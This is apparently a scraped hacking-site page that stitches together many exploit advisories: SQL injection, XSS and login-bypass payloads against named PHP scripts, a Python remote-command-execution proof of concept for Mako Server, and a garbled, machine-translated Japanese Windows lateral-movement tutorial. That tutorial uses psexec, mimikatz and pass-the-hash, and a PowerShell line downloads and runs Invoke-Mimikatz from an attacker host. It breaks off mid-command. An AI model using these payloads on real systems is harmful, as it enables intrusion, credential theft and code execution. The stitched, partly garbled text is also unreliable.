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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: EduStar Udemy Clone Script v1.0 - SQL Injection
# Date: 2017-09-11
# Exploit Author: 8bitsec
# Vendor Homepage: https://www.abservetech.com/
# Software Link: https://www.abservetech.com/edustar-udemy-clone/
# Version: 1.0
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-09-11

Product & Service Introduction:
===============================
EduStar Udemy Clone Script

Technical Details & Description:
================================

Blind SQL injection on [course_id] parameter.

Proof of Concept (PoC):
=======================

http://localhost/[path]/courses/details?course_id=105 and 1=1

Parameter: course_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: course_id=105 AND 4868=4868

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: course_id=105 AND SLEEP(5)

==================
8bitsec - [https://twitter.com/_8bitsec]
HireHackking 
# Exploit Title: AirStar Airbnb Clone Script v1.0 - SQL Injection
# Date: 2017-09-11
# Exploit Author: 8bitsec
# Vendor Homepage: https://www.abservetech.com/
# Software Link: https://www.abservetech.com/airstar-airbnb-clone/
# Version: 1.0
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-09-11

Product & Service Introduction:
===============================
AirStar Airbnb Clone Script

Technical Details & Description:
================================

Blind SQL injection on [room_id] parameter.

Proof of Concept (PoC):
=======================

http://localhost/[path]/airstar/hotel/roomsedit/detailedroom/6 AND 8995=8995?mem_count=1&check_in=&check_out=&search_city=Madurai,India&min_amt=10&max_amt=150&inout=0

Parameter: #1 (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause

==================
8bitsec - [https://twitter.com/_8bitsec]
HireHackking 
# Exploit Title: iTech StockPhoto Script v2.02 - SQL Injection
# Date: 2017-09-11
# Exploit Author: 8bitsec
# Vendor Homepage: http://itechscripts.com/
# Software Link: http://itechscripts.com/stockphoto-script
# Version: 2.02
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-09-11

Product & Service Introduction:
===============================
This is a versatile script to help you launch a stock photo website like Sutterstock.

Technical Details & Description:
================================

Blind SQL injection on [stock] POST parameter.

Proof of Concept (PoC):
=======================

The parameter is sent when downloading an image.

Parameter: stock (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: stock=19 AND 9771=9771

==================
8bitsec - [https://twitter.com/_8bitsec]
HireHackking 
# Exploit Title: iTech Book Store Script v2.02 - SQL Injection / Reflected XSS
# Date: 2017-09-11
# Exploit Author: 8bitsec
# Vendor Homepage: http://itechscripts.com/
# Software Link: http://itechscripts.com/book-store-script
# Version: 2.02
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-09-11

Product & Service Introduction:
===============================
This is a robust platform for the booksellers and bookshop owners.

Technical Details & Description:
================================

SQL injection on [id] parameter.

Reflected XSS on [id] parameter

Proof of Concept (PoC):
=======================

SQLi:

http://localhost/[path]/book_details.php?id=[SQLi]

Parameter: id (GET)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=2 AND SLEEP(5)-- uUqP

    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: id=-7869 UNION ALL SELECT CONCAT(0x7170717071,0x546c4d4e535a5262584f446466626e67625656687561614b687764535a6c574a4b64454666564173,0x71766b7671)-- PYKD

Reflected XSS:

http://localhost/[path]/book_details.php?id=%3C/scRipt/--!%3E\x3csVg/%3CsVg/oNloAd=alert(document.domain)//%3E\x3e

==================
8bitsec - [https://twitter.com/_8bitsec]
HireHackking 
# Exploit Title: JobStar Monster Clone Script v1.0 - SQL Injection
# Date: 2017-09-11
# Exploit Author: 8bitsec
# Vendor Homepage: https://www.abservetech.com/
# Software Link: https://www.abservetech.com/jobstar-monster-clone/
# Version: 1.0
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-09-11

Product & Service Introduction:
===============================
JobStar is a Monster Clone that enables you to build your own Online Job Portal website in a "few hours" and become fully operational in just a day.

Technical Details & Description:
================================

Blind SQL injection on [id] parameter.

Proof of Concept (PoC):
=======================

http://localhost.com/[path]/jobdetailshow?id=19 and 1=1

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=19 and 4297=4297

==================
8bitsec - [https://twitter.com/_8bitsec]
HireHackking 
# # # # # 
# Exploit Title: PHP Dashboards NEW 4.4 - SQL Injection
# Dork: N/A
# Date: 11.09.2017
# Vendor Homepage: http://dataninja.biz/
# Software Link: https://codecanyon.net/item/php-dashboards-v40-collaborative-social-dashboards/19314871
# Demo: http://phpdashboardv4.dataninja.biz/
# Version: 4.4
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept:
# 
# http://localhost/[PATH]/php/share/save.php?dashID=[SQL]
# 
# http://localhost/[PATH]/php/save/db.php?dashID=[SQL]
# 
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: PHP Dashboards NEW 4.4 - Arbitrary File Read
# Dork: N/A
# Date: 11.09.2017
# Vendor Homepage: http://dataninja.biz/
# Software Link: https://codecanyon.net/item/php-dashboards-v40-collaborative-social-dashboards/19314871
# Demo: http://phpdashboardv4.dataninja.biz/
# Version: 4.4
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to arbitrary file read.
# 
# Proof of Concept:
# 
# 1
# http://localhost/[PATH]/php/file/read.php?filename=[FILE]
# 
# 2
# http://localhost/[PATH]/php/file/readxls.php?filename=[FILE]
# http://localhost/[PATH]/php/file/PHPReader/temp/[.......].xls
# 
# Etc..
# # # # #
HireHackking 
[+] SSD Beyond Security: https://blogs.securiteam.com/index.php/archives/3391
[+] Credits: John Page a.k.a hyp3rlinx	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MAKO-WEB-SERVER-MULTIPLE-UNAUTHENTICATED-VULNERABILIITIES-SECURITEAM.txt
[+] ISR: ApparitionSec            


Vulnerabilities Summary
The following advisory describe three (3) vulnerabilities found in Mako Server’s tutorial page.

The vulnerabilities found are:

Unauthenticated Arbitrary File Write vulnerability that leads to Remote Command Execution
Unauthenticated File Disclosure
Unauthenticated Server Side Request Forgery
As these tutorial may be used as the basis for production code, it is important for users to be aware of these issues.

“As a compact application and web server, the Mako Server helps developers rapidly design secure IoT and web applications. The Mako Server provides
an application server environment from which developers can design and implement complete, custom solutions. The Mako Web Server is ideal for embedded Linux systems.”

Credit
An independent security researcher, John Page AKA hyp3rlinx, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program

Vendor response

RealTimeLogic was informed of the vulnerability on Aug 13, but while acknowledging the receipt of the vulnerability information, refused to respond to the
technical claims, to give a fix timeline or coordinate an advisory, saying:

“I just sent a formal notification for the commercial license requirement and also we need to put a maintenance contract in place.
Internally I need to set-up a cost allocation account for billing against these support inquiries.”

At this time it’s unclear whether these vulnerabilities are going to be fixed and further attempts to get a status clarification failed.


Vulnerabilities details

Unauthenticated Arbitrary File Write vulnerability that leads to Remote Command Execution:

Mako web-server tutorial does not sufficiently sanitizing the HTTP PUT requests, when an attacker send HTTP PUT request to ‘save.lsp‘ web page, the input passed
to a function responsible for accessing the filesystem.

The attacker input will be saved on the victims machine and can be execute by sending HTTP GET request to ‘manage.lsp‘


HTTP PUT  'http://VICTIM-IP/examples/save.lsp?ex=2.1'
HTTP GET  'http://VICTIM-IP/examples/manage.lsp?execute=true&ex=2.1&type=lua'


Proof of Concept


import urllib2,time

#MakoServer v2.5 Remote Command Execution 0day
#Credits: John Page AKA hyp3rlinx
#=========================================

print  'MakoServer v2.5 Remote Command Execution'

CMD="os.execute('c:/Windows/system32/calc.exe')"

opener = urllib2.build_opener(urllib2.HTTPHandler)
request = urllib2.Request('http://IP/examples/save.lsp?ex=2.1', data=CMD)
request.add_header('Content-Type', 'text/plain;charset=UTF-8')
request.add_header('X-Requested-With', 'XMLHttpRequest')
request.add_header('Referer', 'http://localhost/Lua-Types.lsp')
request.get_method = lambda: 'PUT'
opener.open(request)

time.sleep(1)

urllib2.urlopen('http://IP/examples/manage.lsp?execute=true&ex=2.1&type=lua')



Unauthenticated File Disclosure

Mako web-server tutorial is not sufficiently sanitizing GET requests, when an attacker send GET request to the URI IP/fs/../.., the input passed
without modification and the response with the file content is returned.

Proof of Concept
The following GET request will response with the C/Windows/system.ini content:

curl -v http://VICTIM-IP/fs/C/Windows/system.ini

* About to connect() to VICTIM-IP port 80
*   Trying VICTIM-IP... connected
* Connected to VICTIM-IP (VICTIM-IP) port 80
> GET /fs/C/Windows/system.ini HTTP/1.1
> User-Agent: curl/7.15.5 (x86_64-redhat-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.5
> Host: VICTIM-IP
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Mon, 07 Aug 2017 22:21:27 GMT
< Server: MakoServer.net
< Content-Type: application/octet-stream
< Accept-Ranges: bytes
< Etag: 58b4be20
< Last-Modified: Tue, 28 Feb 2017 00:02:40 GMT
< Content-Length: 219
< Keep-Alive: Keep-Alive
; for 16-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON

[drivers]
wave=mmdrv.dll
timer=timer.drv

[mci]


Server Side Request Forgery

Mako web-server tutorial is not sufficiently sanitizing incoming POST requests, when an attacker sends an POST request to the ‘rtl/appmgr/new-application.lsp‘
URI, the input will be executed and the server will connect to the attacker’s machine.

Proof of Concept
Start Wireshark to see successful connections made from Mako Web Server victim machine.

Initiate requests from another machine using CURL:

curl -v -X POST http://VICTIM-IP/rtl/appmgr/new-application.lsp -d io=net -d path=http://EXTERNAL-IP



Network Access:
===============
Remote



Severity:
=========
High



Disclosure Timeline:
====================
Would like to acknowledge Beyond Security’s SSD program for the help with co-ordination of this vulnerability.
More details can be found on their blog at:

https://blogs.securiteam.com/index.php/archives/3391



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
HireHackking 
# # # # # 
# Exploit Title: Grocery Store Supermarket Script 1.1 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/grocery-store-supermarket-script.htm
# Demo: http://icloudcenter.net/demos/icgrocery/
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=static_pages&key=[SQL]
# 
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Customized Products Shopping Script 1.1 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/bpProductConfigurator.htm
# Demo: http://icloudcenter.net/demos/icproductconfigurator/
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=static_pages&key=[SQL]
# 
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Custom T-Shirt WebStore Script 1.2 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/t-shirt.htm
# Demo: http://icloudcenter.net/demos/ictshirt/
# Version: 1.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=static_pages&key=[SQL]
# 
# Etc..
# # # # #
HireHackking

0x00シーン

今回は、「redhook.da」ドメインでアカウントの利用可能な資格情報を取得することです。イントラネットホストを制御するための権限から始めますが、ターゲットドメインコントローラーと同じサブネットにはありません。下の図に示すように：

1049983-20201012143948201-798475802.png

さらに、攻撃者がクライアント1ホストのローカル管理者キャッシュ認証資格情報を取得したと仮定します。一般に、ネットワーク範囲が十分に大きい場合、対応する保存された有効な資格情報は、バッチ、VB、NET、PS1などのスクリプトを介してネットワーク共有にあります。初期アクセスを取得します。この記事では、この攻撃者は、Windowsを横向きに移動する方法と、AVSのバイパスを含まない状況に焦点を当てています。

0x00クライアントホストを攻撃する

1。バッチスクリプトの取得は上記のとおりです。 Clent1（10.0.0.129）ホストのユーザー認証資格情報は、ネットワーク共有のバッチ処理とスクリプトを通じて取得されました。

＃\\ fileserver \ users \ bob \ workstations \ errorlog.batのmock contents

@ECHOオフ

ネット使用'\\ 10.0.0.129 \ c $' /user:bob imsosecur3！ #Create共有

存在する場合'\\ 10.0.0.129 \ c $ \ program files \ msbuild \ errorlog.txt'（

Echo 'ため息、クライアントのより多くのエラー1！コピー. '

'\\ 10.0.0.129 \ c $ \ program files \ msbuild \ errorlog.txt' c: \ uses \ bob \ logs \ client1 \

del '\\ 10.0.0.129 \ c $ \ program files \ msbuild \ errorlog.txt'

） それ以外（

echo 'yaay、クライアントに新しいエラーはありません！'

））

正味使用'\\ 10.0.0.129 \ c $' /delete

バッチスクリプトを介して指定されたIPのNetBIOS情報をすばやく取得します。

NBTSCAN -VH 10.0.0.129

または

NBTSTAT -A 10.0.0.129

1049983-20201012143948729-1907007498.jpg

コマンドnbtstat -a ipを使用して同じ操作を実行することもできます。ホスト名win7-ent-cli1を取得することができ、それはredhookドメインに接続されています

2.PsexecはMetasploitのPSEXECを使用します。これにより、Kaliのクライアント1ホストのリバウンドシェルを簡単に取得できます。ボブはドメインアカウントではなくローカルアカウントであることに注意してください。したがって、SMBDomainパラメーターは使用されません。

msfuse exploit/winodws/smb/psexec

MSFSET RHOST 10.0.0.129

MSFSET SMBUSER BOB

msfset smbpass imsosecur3！

msfshowオプション

msfexploit

1049983-20201012143949223-1768103760.png

ここでは、RemComSVCを使用してPSEXECをシミュレートするImpacketパッケージのPsexecを使用することもできます。ここでの利点は、明確な卒業証書が得られない場合、ハッシュパスを受け入れることができることです。

python psexec.py bob:imsosecur3!@10.0.0.0.129 cmd

1049983-20201012143949787-910686673.png

Windowsの下のpsexec.exeも水平方向に移動することができ、実行可能ファイルに署名する利点があります。このコマンドに「-s」識別子を追加すると、システムシェルが取得されます。

psexec.exe \\ 10.0.0.129 -u bob -p imsosecur3！ CMD

1049983-20201012143950422-1118353263.png

3.WMIは、リモートコマンドツールの実行に関するものです。ここで最も有名なのはWMICツールです。リモートホストでのコマンド実行を可能にするだけでなく、WMIを使用して機密情報を取得し、ホストシステムを再構成します。このツールは、Windowsのコマンドが組み込まれています。

wmic /node:10.0.0.129 /user:bob /password:3360imsososecur3！ ComputerSystemリストブリーフ /FORMAT:LIST #REMOTELY COMPUTER情報を取得します

wmic /node:10.0.0.129 /user:bob /password:3360imsososecur3！ ComputerSystem usernameを取得#REMOTELYターゲットユーザーアカウント情報許可を取得します

wmic /node:10.0.0.129 /user:bob /password:3360imsososecur3！プロセスコールクレート 'calc.exe' #remote作成プロセス、ここにcalc.exeがあります

wmic /node:10.0.0.129 /user:bob /password:imsososecur3！ ComputerSystem Process Name、ProcessID |を取得します検索#REMOTELYプロセスID、名前、およびプロセスを実行する

} 1049983-20201012143950828-66913465.png

4.wmiexecは、インパケットパッケージでWMIEXECツールを使用し、コマンドを実行してコマンド出力を印刷することができます。また、半互換シェルを提供したり、ハッシュを通したりすることができます。

python wmiexec.py bob:imsososecur3！@10.0.0.129ルートプリント-4 10.*

1049983-20201012143951357-1913063964.png

PowersploitzのInvoke-Wmicommandは、PscRedentialオブジェクトの使用により、より多くのメモリを占有しますが、コマンドの印刷とスクリプトのメモリストレージの場所を取得できます。

1049983-20201012143951938-1370830872.png

5。Pass-The-Hash（WCEおよびMimikatz）時々、ターゲットホストコマンドウィンドウが取得されると、ターゲットホストユーザーのNTLMハッシュ値は取得でき、プレーンテキストパスワードは取得できません。この場合、MetaSploit（PSEXEC）またはImpackを使用できます。環境がローカルウィンドウ環境に限定されている場合、WCEまたはMimikatzを使用してNTLMハッシュをプロセスに注入できます。

おっと

正味使用\\ 10.0.0.129 \ admin $＃ターゲット共有は取得できません。ユーザー名とパスワードはここで必要です

wce.exe -s bob:3360AAD3B435B1404EEAAD3B435B51404E:F6C0FA29F4CAD745AD04BED1D00A7C82 #REMOTE WCE.EXE

正味使用\\ 10.0.0.129 \ admin $

dir \\ 10.0.0.129 \ admin $

1049983-20201012143952406-1738653105.png

欠点は、WCEがエラーアラーム情報を表示することです！PowerShellを使用して、Mimikatzをメモリに直接ロードできます！ただし、この場合、コンパイルされたバイナリファイルmimikatz.exeを使用することをお勧めします。

正味使用\\ 10.0.0.129 \ $ admin

Miminatz.exe

mimikatz＃sekurlsa:pth /user:bob /domain: /NTLM:F6C0FA29F4CAD745AD04BED1D00A7C82 #MMIKATモジュールPTH

おっと

正味使用\\ 10.0.0.129 \ $ admin

1049983-20201012143952894-1915756352.png

この場合、フィールドはすべて「。」に設定されていることに注意してください。これは、ボブがローカルアカウントだからです。

0x02拠点01

を確立します

1.MetasPloit（MimikatzとHashdump）は、Mimikatzを使用して、アクティブセッションのユーザー資格情報を取得し、Hashdumpを取得して、現在ログインしていないローカルアカウントのハッシュを取得します。

MeterPreterload Mimikatz #load Mimikatzモジュール

MeterPrtertSPKG #Enhanceシステム許可

MeterPrterMSVV＃現在アクティブなセッション資格情報を取得します

MeterPrterHashdump＃ローカルホストアカウントのすべてのハッシュ値を取得します

1049983-20201012143953491-2109071315.png

2。SecretSdumpとInvoke-Mimikatzは、PowersploitのImpackのSecretSdumpおよびInvoke-Mimikatzにも使用できます。この場合、Invoke-Mimikatzは攻撃者のWebサーバーでホストされています。

python secretsdump.py bob:imsosecur3！@10.0.0.129

python psexec.py bob:imsosecur3!@10.0.0.0.129 cmd

Powershell -exec Bypass -command 'iex（new-Object System.net.webclient）.dowloadstring（' http://10.0.0.129/invoke-mimikatz.ps1 '）; Invoke-Mimikatz' '

Mimiatz（Powershell）＃Sekurlsa:logonpasswords

1049983-20201012143954299-46010124.png

もちろん、この問題を解決する他の方法はありますが、これらが主なアプローチであると考えています。

0x03情報収集

Redhookドメインのホストにアクセスできるようになりました。これは別のサブネットにも接続されています。

1。トークンの買収。これで、Redhookドメインにマシンがあり、異なるサブネットに接続できます。今、私たちは情報を収集し始めます。

ドメイン情報を照会するには、ドメインユーザーが必要です。現在のBOBユーザーはドメインユーザーまたはシステムの許可ではありませんが、使用できます

ntquerysysteminformation他のユーザーのトークンを発見し、ログインをシミュレートします。

MeterPreterにはこのプラグインがあり、プロセスが非常にシンプルになります。

MeterPrtergetUid

meterpterlist_tokens -u

meterprterimpersonate_token redhook \\ asenath.waite

MeterPrtershell

誰が

1049983-20201012143955121-1187620161.png

また、リモートで使用できるPSEXECのような機能を備えたツールであるLuke JenningsのIncognitoを使用することもできます。

Incognito.exe -H 10.0.0.129 -U bob -p imsosecur3！ list_tokens -u

Incognito.exe -H 10.0.0.129 -U bob -p imsosecur3！ -c redhook \ asenath.waite cmd.exeを実行します

1049983-20201012143955732-470727192.png

最後に、PowerSploitのInvoke-TokenManipulationがあります。ただし、現在の状態では、必要な機能を実際に取得できないため、使用することはお勧めしません。

2。ドメイン情報収集。現在、ターゲットドメインホストのシェルが取得されており、最大の結果を得るには、いくつかの情報収集を実行する必要があります。

c: \ windows \ system32 whoami redhook \ asenath.waite

c: \ windows \ system32 hostnamewin7-ent-cli1

c: \ windows \ system32 ipconfig

Windows IP構成

イーサネットアダプターローカルエリア接続2:

接続固有のDNS接尾辞。 LocalDomain Link-Local IPv6アドレス。 FE80:3360A1BA:A1AB:170C:7916％17 IPv4アドレス。 。 10.0.0.129＃攻撃者のサブネットサブネットマスク。 。 255.255.255.0デフォルトゲートウェイ。 。

イーサネットアダプターBluetoothネットワークConnection:

メディア状態。 。メディアが接続された接続固有のDNSサフィックス。

イーサネットアダプターローカルエリアConnection:

接続固有のDNS接尾辞。 Link-Local IPv6アドレス。 FE80:33605DDC:1E6336017E9:9E15％11 IPv4アドレス。 。 10.1.1.2＃redhookサブネットサブネットマスク。 。 255.255.255.0デフォルトゲートウェイ。 。 10.1.1.1

トンネルアダプターISATAP。{8D0466B5-1F88-480C-A42D-49A871635C9A} :

メディア状態。 。メディアが接続された接続固有のDNSサフィックス。

トンネルアダプターiSatap.localdomain:

メディア状態。 。メディアが接続された接続固有のDNSサフィックス。 LocalDomain

トンネルアダプターISATAP。{5CBBE015-1E1C-4926-8025-EBB59E470186} :

メディア状態。 。メディアが接続された接続固有のDNSサフィックス。

＃非常に小さなネットワーク、3人のホスト、私たちが妥協したばかりのホストを含む。

-------------------------------------------------------------------------------\\REDRUM-DC red.dc\\WIN7-ENT-CLI1\\WIN7-ENT-CLI2

コマンドは正常に完了しました。

＃dcユーザーが認証されているtoc: \ windows \ system32 echo％logonserver％\\ redrum-dc

c: \ windows \ system32 ping -n 1 redrum -dc

ping redrum-dc.redhook.local [10.1.1.200]は、10.1.1.1.1.1.1.1.200:=32 time1ms ttl=128から32バイトのdata:Reply

10.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1:送信=1、受信=1、失われた=0（0％損失）、約100万秒の往復時間3:最小=0ms、最大=0ms、平均=0ms

＃ローカルユーザーのリスト\ windows \ system32ネットユーザー

ユーザーは\\ win7-ent-cli1を説明します

-----------------------------------------------------------------------------------管理者Bob guestTemplateAdmin

コマンドは正常に完了しました。

＃redhookドメインユーザーをリストします

C: \ Windows \ System32ネットユーザー /ドメイン

リクエストは、domain redhook.localのドメインコントローラーで処理されます。

\\ redrum-dc.redhook.localをユーザーアカウント

---------------------------------------------------------------------------------------------------------------------------------------------------------------- GuestJohn.smith Krbtgt Redhook.Darobert.Suydam Wilbur.Whateley

コマンドは正常に完了しました。

＃powersploit=invoke-enumeratelatelocaladmin:ネットワーク内のボックスにあるローカル管理者であるすべてのユーザーを見つけます。

c: \ windows \ system32 powershell -exec bypass -command 'iex（new -object system.net.webclient）.downloadstring（' http://10.0.0.0.128/powerview.ps1 '）; invoke -enumeratelocaladm

HireHackking 
# # # # # 
# Exploit Title: Jewelry Store Site Script 1.1 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/jewelry-site-script.htm
# Demo: http://icloudcenter.net/demos/icjewelry/
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=static_pages&key=[SQL]
# 
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: ICSurvey- Survey Creating Script 1.1 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/survey-creating-script.htm
# Demo: http://icloudcenter.net/demos/icsurvey/
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=static_page&key=[SQL]
# 
# http://localhost/[PATH]/survey.php?page=preview&test=[SQL]
# 
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Students Course Assessment Test Script 1.2 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/student-course-assessment-test-script.htm
# Demo: http://icloudcenter.net/demos/icstudents/
# Version: 1.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=static_page&key=[SQL]
# 
# -EfE'+/*!00009UniOn*/+/*!00009SelEcT*/+0x31,0x32,0x3c68313e494853414e2053454e43414e3c2f68313e,(/*!00009Select*/+export_set(5,@:=0,(/*!00009select*/+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!00009table_name*/,0x3c6c693e,2),/*!00009column_name*/,0xa3a,2)),@,2))--+-
# 
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Classifieds Software Script Like Craigslist 1.1 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/craigslist-like-classifieds-script.htm
# Demo: http://icloudcenter.net/demos/icclassifieds/
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/post_details.php?city=0&id=[SQL]
# 
# -3061'++/*!00004UNION*/+/*!00004SELECT*/+0x31,0x32,0x33,0x34,0x35,0x36,(/*!00004Select*/+export_set(5,@:=0,(/*!00004select*/+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!00004table_name*/,0x3c6c693e,2),/*!00004column_name*/,0xa3a,2)),@,2)),0x496873616e2053656e63616e,0x39,0x3130,0x3131,0x3132,0x3133,0x3134,0x3135,0x3136,0x3137--+- 
# 
# http://localhost/[PATH]/view_posts.php?city=[SQL]
# 
# http://localhost/[PATH]/index.php?c=[SQL]
# 
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Travel Site Script 2.2 - Authentication Bypass
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/traveling-website-script.htm
# Demo: http://icloudcenter.net/demos/ICPenny/
# Version: 2.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/admin
# 
# User: 'or 1=1 or ''=' Pass: anything
# 
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Auto Dealer Car Sales PHP Script 2.2 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/auto-dealer-car-sales-script.htm
# Demo: http://icloudcenter.net/demos/icautosales/
# Version: 2.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?cmd=do_car_search&type=7&mod_id=[SQL]
# 
# http://localhost/[PATH]/index.php?cmd=advertise_details&category=car&aid=[SQL]
# 
# http://localhost/[PATH]/index.php?cmd=directory&parent=[SQL]
# 
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Dutch Auction Script 1.2 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/dutch-auction-script.htm
# Demo: http://icloudcenter.net/demos/icdutchauction/
# Version: 1.2
